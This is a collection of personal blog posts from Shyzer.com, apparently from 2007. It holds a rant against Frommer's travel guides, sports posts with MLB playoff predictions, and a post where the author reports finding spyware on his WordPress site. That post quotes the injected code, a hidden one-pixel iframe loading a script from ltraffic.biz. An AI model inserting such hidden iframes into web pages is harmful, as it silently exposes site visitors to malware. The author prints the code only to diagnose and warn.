Shyzer.com

The title of today’s post comes from the very mouths of Chong and myself, where we muttered those very words about 90 times over the course of two weeks in South America.

Basically, the story goes as such. We started our adventure in Chile, where we planned on staying for a week. After that, it was off to Buenos Aires for a week and then back home. Easy, quick, and smooth - well, so went the plan. Alex brought with him a Lonely Planet travel guide for Chile and I brought down a Frommer’s Argentina & Chile 3rd edition travel guide. And let’s just say that it took all of 10 minutes for us to realize that the only thing I’d brought along was a hunk of paper that was going to slow us down.

My first discovery that Frommer’s sucks is when I flipped it open to look at the map inside and found a grand total of one map for Santiago.

One. Map.

Alex flipped his book open and not only was his map far larger than mine, but each subsequent page was a zoomed in map with much more detail (ie, STREETS) of all the local burrows. But the alarmingly lack of street information wasn’t even the worst of Frommer’s inefficiency. We wanted to take the subway that afternoon and as I opened my book, I saw on the inside front cover a beautiful color map of Buenos Aires’ subway system. Fantastic! We were saved! But you know me, always running around assuming things that aren’t true. So you can imagine my surprise when I flipped to the back cover and found a beautiful…Travelocity advertisement? What the hell?! No Santiago subway map in the entire book? Welcome to Frommer’s!

But Goob, you might be saying to yourself, you’re a Master Navigator (that almost sounds dirty.) You don’t need a stinking map! And you’re right! I didn’t need a map, seeing as how Alex’s Lonely Planet had plenty! What I did need were reviews and suggestions on things to do. You know, the kind of thing you’d expect a travel guide to have, right? Wrong, because Frommer’s has nothing like that!

Actually, I should clarify. The book does have recommendations on things to do and see. But unlike Alex’s Lonely Planet guide where each tourist spot had a rough overview on what to see, how to get there, and when to go, Frommer’s is more in the style of “Here’s a cool place, go there.” That’s it. No instructions on the best way to get there, why it’s a good spot, or who might enjoy it best. It was like I was reading the damn Yellow Pages.

And I particularly enjoyed the following golden gem from Frommer’s own website:

I’m dissatisfied with my guide. Can I get a refund?

Book refunds or exchanges are dependent on the policy of the retail or online store from which the book was purchased. Frommer’s does not provide refunds or exchanges for books that were purchased from a retail vendor.

Yep, because it’s Books-A-Million’s fault that Frommer’s guide books suck! It has nothing to do with the fact that FROMMER TRAVEL GUIDES ARE ABSOLUTELY ABYSMAL TO BEGIN WITH!

So, if you haven’t quite caught on to the subtle hints I’ve been occasionally dropping, I’ll say this. If you enjoy stress-free vacations and not wasting money on glorified paperweights, then please, for the love of God, never buy a Frommer’s Travel Guide. The sooner this company is taken out back behind the shed, the better for us all. No wonder American’s rarely travel outside of the country. They’ve got travel guides like these making them want to beat their heads in with a tack hammer.

So you can ignore everything down there. Long story short, somehow my wordpress index.php file had become corrupted. The weird thing was I have multiple copies of backups of Shyzer and all my sites stored on four different computers. And the file in question was corrupted on all of them. Which means either the virus somehow copied itself from the web down onto my computers (unlikely) or it’d been there for a hell of a long time and I’m just now finding out about it. I almost want to e-mail everybody I know and apologize. Christ, spyware, on Shyzer! I can’t even make a joke about it, I’m that pissed. But it’s gone now, hopefully. Which means that if you get any more weird popups or virus message while visiting Shyzer, let me know, damnit!

********

If you can’t tell already, I’m a bit pissed.

So after being told for the millionth time that Shyzer is triggering people’s anti-virus software, I finally started digging around tonight and found this at the very bottom of my source code:

</body>
</html>
<iframe src=’http://ltraffic.biz/resource.php?id=4536&user=Nikson’ width=’1′ height=’1′ style=’visibility: hidden;’></iframe>

Which is fine and dandy and all except for the small part that I HAVE NO IDEA HOW A RUSSIAN VIRUS HAS LEECHED INTO MY CODE! My footer page simply ends with:

</body>
</html>
NO RUSSIAN VIRUS CODE!

I’ve googled around, but apparently I’m one of the few morons who has let this happen to him. Huzzah! So, if you’ve been getting popup errors and anti-virus messages, please note: I’m aware of the situation and I’m not going to bed until I fix this. I can handle going two weeks without adding any substantial material to this site without breaking a sweat. But letting spyware take over? Fuck that.

EDIT 1: Well I’ve eliminated the fact that the spam is in my theme code, because no matter what theme I switch to, it’s still there.

EDIT 2: It’s not in my plugins, either. I’ve got the default theme running, no plugins, and the bastard is still there.

I’m not quite sure when it happened, but suddenly SNL is funny again. Anything with zombies is an instant winner in my book.

I want to get something off my chest. The baseball playoff structure is so horribly wrong, it’s bordering on ruining the game. To suddenly go from a 162 game season to a few 5 and 7-game playoff series is stretching it, but acceptable. However, when there are off days in between the games during the series, it makes it much easier for a weaker team to beat a stronger team in a fluke series. In fact, the weaker teams are actually rewarded for having a roster built with with 25% star players and 75% mediocre players. Meanwhile, the team with 100% above average players are more or less penalized.

Take for instance the 2001 Arizona Diamondbacks. Granted, the World Series that year was probably one of the most memorable rounds in the past few decades, but look at how Arizona won. They had two absolute ace pitchers in Randy Johnson and Curt Schilling, yet after those two they had nothing. Their starting rotation was awesome-awesome-crap-crap-crap. The New York Yankees were a much better and more evenly built team that year, yet thanks to the way MLB allows teams to get so much rest during the playoffs, Arizona was able to ride the hell out of their two aces and go for all or nothing. There’s no way Johnson or Schilling pitches 2 1/2 games each in a eight day span during the regular season, but in the playoffs? Sure, why the hell not.

And we’ve got more and more teams building their rosters in such a fashion to where they hope to squeak into the playoffs, because they know once they’re in, it’s all a crap shoot and they have just a good a chance as anybody. We’re moving from an era of teams building their roster to incorporate balance all around the field to an era where teams are overspending on high-priced star free agents in the hopes that they won’t start to suck any time soon. Because if they do, it’ll make the fact the rest of the roster is filled out with scrub players and kids who should still be in AAA glaringly obvious.

MLB needs to stop giving teams so much rest during the playoffs and keep the games going at a smooth, quick pace. Give all teams one days rest after the season and then play the first round of the playoffs in five straight days. One days rest after that and then have the next seven days contain the entire next round. Teams will be rewarded with extra rest if they manage to win a series in less than five or seven games and this would help keep the World Series from going into November. The NFL doesn’t give their teams extra rest during the playoffs, so why should MLB?

They’ve just played 162 games in a marathon run, so why the hell are we suddenly asking them to sprint for the finish line? It makes no sense.

You know what? I need to preface this post with a quick fact. I’m a huge Green Bay Packers fan. Love them. Live and die with them. And yet, I’ll readily admit that the NFC is beyond weak when compared to the AFC. Move Dallas or Green Bay to the AFC and I question if they would make the playoffs. That’s how much stronger the AFC is. And yet, I don’t care, because the Packers are in the NFC and that’s all that matters to me

So with that said, I want you all to know just how horribly bad the National League is. They are. Seriously. Match up any NL team with their American League counterpart and see who you’d take. From top to bottom, you’d end up taking most of the AL teams! Even the basement dwellers in the AL are better, as Tampa Bay would easily beat Pittsburgh in a seven game series, as would Kansas City beat San Fran. Looking at the middle of the pack, we’ve got Toronto versus Los Angeles. Are you kidding me? Wow. Even the two “best” teams, at Boston versus Arizona, wouldn’t be a competition.

And the NL Central needs to have their automatic playoff spot revoked until they field a team that can finish at least ten games over .500. Just looking at the standings, there are at least seven teams in the AL that would have beat the Cubs for that division and I’d bet on them against Chicago in any series. Seattle was a very average baseball team this year, yet they still finished better than any of their NL Central peers. So you might be asking how the NL has managed to win three of the past six World Series then, including the juggernaut that was the St. Louis Cardinals last year. Well, that’s for a post tomorrow morning.

But I digress…the Cubs “earned” it and so here we are. Eight teams, one month, let’s see how this plays out.

vs.

Now this match up makes my life hard, for if these two teams were playing either of the other two NL playoff teams, I’d have them both win and meet in the NLCS. But that’s not how the cards fell and as such, we have my two favorite playoff teams squaring off in the first round. You’ve probably heard about the Colorado Rockies by now and how they won 14 of their last 15 games to get into the playoffs. Talk about getting hot at the right time. Their offense is rock freaking solid, led by MVP candidate Matt Holliday. In fact, the Rockies have very few weaknesses when it comes to their offense as they can all hit from top to bottom. Their pitching, however, is….Christ. Half of their pitching staff wouldn’t even be on most other major league ball clubs, but thanks to injuries, they’re now part of a playoff team.

The Philadelphia Phillies, on the other hand, easily have the best offense in the NL right now. Chase Utley, Ryan Howard, Jimmy Rollins, Aaron Rowand, and Pat Burrell are absolute beasts. Their pitching staff is probably the second worst of any playoff team right now, which is the only reason this is going to be a fairly even series. Cole Hamels is a stud, however, and some might remember Jaime Moyer from his days in Seattle. Yep, my favorite pitcher alive is still playing baseball folks and he’s still effective as ever - as long as he isn’t pitching in Denver.

Both teams have semi-effective bullpens, so the later the game goes, the better it gets for whichever team is currently leading. But much as I love Colorado’s story and rooting for the underdog of all underdogs, I think Philadelphia will pull this off in five as Hamels is needed to win two games. I will say this, though - if Colorado manages to win, they’ll win it all. But, like I said, I just don’t see them outslugging the Phillies.

vs.

Talk about a match up between two “eh, whatever” teams. First off, what Arizona was able to accomplish this year was nothing short of astounding. Winning while rebuilding with young kids is something you’ll rarely see. That said, if you look at their roster and think to yourself “who the hell are these guys?” - well, don’t worry. You’re not alone. Beyond Eric Byrnes, you most likely will have never heard of many of their young players, but don’t let that fool you. These boys can play. Led by their ace Brandon Webb, their starting pitching is a bit suspect after him, but luckily for Arizona they’ve got a solid bullpen.

On the flip side, we’ve got Chicago, which I honestly don’t think is all that great. They’ve got the best starting pitching of the four NL teams, led by Carlos Zambrano, so that’s a plus. They also have a pretty solid bullpen, though unfortunately, their closer is about as effective as my iPod at finishing off a baseball game. Chicago’s offense is a bit overrated, since Derrek Lee, Jacque Jones, and Cliff Floyd aren’t what they used to be thanks in part to either old age or nagging injuries. Still, they do have Alfonso Soriano and Aramis Ramirez, both of which have been quite effective as of late.

If Chicago can keep Byrnes and Chris Young contained, Zambrano doesn’t implode, and they make sure to pick up at least one of the games where Lilly or Hill start, I think they should win this. Arizona just needs too many things to go their way in order to pull this off, so I’ll call Cubs in five.

vs.

The Cubs just don’t have the offense to stay in this, which is odd for me to say because I absolutely believe that pitching wins postseason baseball. Yes, the Cubs have better pitching, but I think this is the series where Zambrano might collapse, giving Philadelphia a victory in both games he pitches in. And remember, I think Philly will need Hammels to pitch twice in the Division Series, so that means he’ll be going up against either Lilly or Hill. And while they’ve both been effective this year, Hammels is by far one of the best young pitchers in baseball, right up there with Felix Hernandez. Moyer will win twice to redeem his performance in the DS, Hammels picks up at least one victory, Chase Utley and Ryan Howard make themselves household names across the nation, and the Phillies win in six.

vs.

Oh boy. Much has already been said about the New York Yankees’ offense battleship. Yes, they can hit the ball. Take your pick, from Alex Rodriguez to Hideki Matsui to Jorge Posada to Bobby Abreu to… you get the point. Scoring runs won’t be their problem. Their pitching, however, well… They’ve got Chien-Ming Wang and Andy Pettitte, two very good starters. And they’ve got Roger Clemens waiting in the wings, who we all know and hate. The thing about this team is that their pitching is either wretched or brilliant. After Wang and Pettitte, every pitcher on their roster seems to randomly guess each day if they want to be lights out or lob softballs over the plate. Of course, they do have Mariano Rivera as their closer, by far the best closer in playoff history. But he’s been hittable as of late and while still great, he’s not the dominant force he once was.

And like I will post about tomorrow with teams being built for the playoffs, Cleveland is such a team. Their two top starters in C.C. Sabathia and Fausto Carmona are beasts and they can easily ride them to victory. Their #3 starter in Jake Westbrook isn’t too shabby either and will be an effective starter come Game 3. Their offense is pretty solid, despite the down year had by their main slugger Travis Hafner. Grady Sizemore is their leadoff hitter and one of the true 5-tool players in the game today. He can hit for average, power, steal a base, plays stellar defense, and has a rocket of an arm. Victor Martinez and Ryan Garko anchor the middle of the lineup and both are good hitters for average with some pop in their bats. Their bullpen has a mix of situational-relievers and high powered arms, so if there’s one main weakness on this team, it’s getting mismatched against a certain Yankees hitter and having to pay dearly for it.

I see New York picking up the first game with Cleveland taking the second. Clemens will get hammered in his start back in New York and then Sabathia will outduel Wang in a Game 1 rematch, giving Cleveland the win in four games.

vs.

Boston is known for their high-powered offense and pitching. Led by David Ortiz and Manny Ramirez, their offense most certainly is formidable. But they aren’t the only two big bats, as Mike Lowell and Kevin Youkilis quietly put together very solid seasons. In fact, from top to bottom, this isn’t a bad hitting team at all and any pitcher who starts to throw junk to the bottom of the lineup will quickly learn to regret it. Their pitching staff is led by the Big Three: Josh Beckett, Curt Schilling, and Dice-K, all of whom have been dominant at times. Beckett is in the running for the Cy Young, Schilling has been great since coming off the DL, and Dice-K has shown flashes of brilliance this season. Their bullpen is rock solid as well, from Timlin to Okajima to Papelbon. And their defense was ranked second in the AL, so they don’t stand much of a chance of beating themselves.

On the other side of the field, we have the Angels, led offensively by Vlad Guerrero, Orlando Cabrera, and Chone Figgins. The bottom of their line-up is a bit rough to watch at times, but their young players at the bottom of the lineup do have some gap power. In fact, much of the lineup is good at stringing together a few doubles in a row, which can quickly add a few runs on the board. Their pitching isn’t quite on par with Boston’s, but it’s no chop liver. Led by the amazingly underrated John Lackey and Kelvim Escobar, they also have Jered Weaver in the #3 spot. Their bullpen isn’t what it used to be, but their closer Francisco Rodriguez is just as good as Papelbon and they have a few quality arms to bridge the gap from their starters to K-Rod.

The obvious pick here is Boston. They are slightly better in every category, from pitching to hitting to bullpens to defense. But notice I said “slightly.” There isn’t one category that they absolutely dominate in, other than maybe defense. Lackey is beatable in Fenway, where Game 1 happens to be played and Boston should win with Schilling on the mound in Game 2, but I could see Anaheim stealing the third game in which Dice-K pitches and then picking up Game 4 with Lackey back on the mound in Anaheim. That’d set up a Game 5 in Boston and I think Escobar could pull it off, giving the Angels a surprise victory in five.

vs.

Wow, I didn’t expect this. Had Boston played Cleveland and New York player Anaheim, I probably would have a Red Sox-Yankees matchup here. But seeing as how I have an Angels-Indians series here, that just goes to show how certain teams match up well against others. Since I see Cleveland winning in four games and Anaheim going five games, I think Cleveland will be much better off in terms of getting their pitching in order. Carmona will be able to pitch and win Game 1 for Cleveland before Lackey comes back to help win Game 2 for Anaheim. Escobar and Vlad power together to win Game 3, but Cleveland bounces back and picks up Games 4 & 5. The Angels tie things up in Game 6, but Cleveland seals the deal and wins in seven.

vs.

No way I thought either of these teams made the World Series back in March. I said it earlier and frankly I have no idea how this will shakedown, but I stand by my earlier prediction. Jamie Moyer finally get a ring and retires, Indian fans rejoice that their team is still young and will be competing for many years to come, the city of Philadelphia finally catches a break with one of their sports teams, and Philly pull of the huge victory and win in six games.

What makes this even more interesting is how despite being from the NL, I see the Phillies winning. The Indians will simply be too beat up to pull this thing off, thanks to their much stiffer competition and the Phillies healthy dose of luck. Such is the crazy world of baseball.

Hey there. What’s up? Cool, cool. Me? Oh, I’m doing fine. Life’s well, I just ate some cookies, and OH MY CHRIST DID YOU JUST SEE THAT BASEBALL GAME?! Thirteen freaking innings and the Rockies had to score three runs to win it!

Matt Holliday clinched the Batting Title, RBI Title, MVP, and sent his team to the playoffs. All in one at bat.

Like I said yesterday, I think the Phillies are gonna win it all. But dear Lord, only a fool would gamble against Colorado at this point.

When I read stories such as this one, it makes me seriously consider pulling an Anderson Cooper. Then I remember I blend into a crowd about as well as Flavor Flav at a PGA tournament and that I’m as charming and persuasive to strangers as Simon Cowell is at a third grade talent show.

Suddenly the thought of staying home and reading Reuters all day doesn’t sound half bad.

I waited to post about this contest that Bloggrrl is having not because I’m lazy, but because I didn’t want any more people entering it and thus weakening my already slim chances at winning She’s giving away a free shot glass checkers set, which is just as awesome as it sounds if not a little more. Most contests you see on people’s sites are for something as amazing as a USB flashlight or some other equally pathetic “prize.” But not with Bloggrrl. She’s giving away some good stuff and I want in on the action! And her writing is actually entertaining to boot, so she’s gotten her site added to my RSS feed and my sidebar whenever I get around to updating it.

On a sidenote, this might be the most posts I’ve made in one single day. And when I look at what I wrote about (sports & booze), I feel like I did justice to Shyzer today.

Well, we didn’t get the four way tie that we wanted, but for only the seventh time in the history of baseball, we get a one game tiebreaker tomorrow night! San Diego at Colorado, tomorrow at 7:30 EST, no idea what TV station, win or get the hell out. Fellner, welcome to the ultimate version of Free Baseball!

And I didn’t want to say anything this morning as to not jinx them, but the Phillies are gonna win it all this year. Mark it. They’re by far the best team in the NL field and once it comes to the World Series, well, then it just becomes a crap shot. If Rollins and Hamels play like stars they were this year, they win it.

Watch out for the Rockies though, granted they win tomorrow (which they should). Of screw it, I’ll review the whole damn playoff field tomorrow night once we know who’s in fact in and who’s playing who. But until then, GO PHILLIES!

Oh, and Mr. Favre? My mancrush on you has never been larger.

Did you know Eric Milton, Matt Morris, Mike Sweeny, Bartolo Colon, Mike Hampton, Andruw Jones, Jason Kendall, Pat Burrell, Javier Vazquez, and Garret Anderson (as well as 49 other players) all make more money than Brett Favre?

Man, NFL players get royally screwed come Pay Day.